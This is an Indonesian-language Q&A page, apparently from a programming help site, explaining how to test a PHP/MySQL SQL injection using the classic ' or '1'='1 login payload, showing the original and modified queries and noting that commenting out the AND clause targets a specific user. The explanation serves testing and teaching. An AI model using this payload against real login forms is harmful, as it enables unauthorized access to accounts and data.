Mysql
 sql >> Teknologi Basis Data >  >> RDS >> Mysql

Bagaimana saya bisa menguji contoh injeksi PHP MySQL saya?

Salah satu contoh paling umum adalah kueri ini:

' or '1'='1

Jika Anda memasukkan ini sebagai nama pengguna dan kata sandi ke beberapa input login yang tidak bersih, kueri berubah seperti ini:

Original: SELECT * FROM USERS WHERE USER='' AND PASS='';
Modified: SELECT * FROM USERS WHERE USER='' or '1'='1' AND PASS='' or '1'='1';

Hal ini menyebabkan setiap hal yang dicarinya benar, karena 1 akan selalu sama dengan 1. Masalah dengan metode ini adalah tidak memungkinkan pemilihan pengguna tertentu. Melakukannya, Anda harus membuatnya mengabaikan pernyataan AND dengan mengomentarinya seperti yang terlihat pada contoh lain.



  1. Database
  2.   
  3. Mysql
  4.   
  5. Oracle
  6.   
  7. Sqlserver
  8.   
  9. PostgreSQL
  10.   
  11. Access
  12.   
  13. SQLite
  14.   
  15. MariaDB
  1. perlu mengembalikan dua set data dengan dua klausa where yang berbeda

  2. Satu item kuis per halaman (program kuis php/mysql)

  3. Masukkan menggunakan LEFT JOIN dan INNER JOIN

  4. mysql pilih baris yang berbeda menjadi kolom daftar yang dibatasi koma

  5. Mengekspor tabel dari Amazon RDS ke file CSV